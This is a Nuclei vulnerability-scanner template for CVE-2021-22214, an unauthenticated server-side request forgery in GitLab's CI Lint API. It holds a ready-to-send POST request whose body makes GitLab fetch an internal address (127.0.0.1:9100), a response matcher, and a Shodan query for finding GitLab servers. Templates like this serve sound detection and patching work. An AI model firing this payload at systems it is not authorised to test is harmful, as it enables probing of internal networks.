nuclei-templates/cves/2021/CVE-2021-22214.yaml

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id: CVE-2021-22214
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info:
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name: Unauthenticated Gitlab SSRF - CI Lint API
author: Suman_Kar,GitLab Red Team
severity: high
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description: |
When requests to the internal network for webhooks are enabled,
a server-side request forgery vulnerability in GitLab CE/EE affecting all
versions starting from 10.5 was possible to exploit for an unauthenticated
attacker even on a GitLab instance where registration is limited.
The same vulnerability actually spans multiple CVEs, due to similar reports
that were fixed across separate patches. These CVEs are:
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- CVE-2021-39935
- CVE-2021-22214
- CVE-2021-22175
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-22214
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- https://nvd.nist.gov/vuln/detail/CVE-2021-39935
- https://nvd.nist.gov/vuln/detail/CVE-2021-22175
- https://vin01.github.io/piptagole/gitlab/ssrf/security/2021/06/15/gitlab-ssrf.html
- https://docs.gitlab.com/ee/api/lint.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
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cve-id: CVE-2021-22214,CVE-2021-39935,CVE-2021-22175
cwe-id: CWE-918
metadata:
shodan-query: http.title:"GitLab"
tags: cve,cve2021,gitlab,ssrf
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requests:
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- method: POST
path:
- "{{BaseURL}}/api/v4/ci/lint?include_merged_yaml=true"
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headers:
Content-Type: application/json
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body: |
{"content": "include:\n remote: http://127.0.0.1:9100/test.yml"}
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redirects: true
max-redirects: 3
matchers:
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- type: word
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part: body
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words:
- "does not have valid YAML syntax"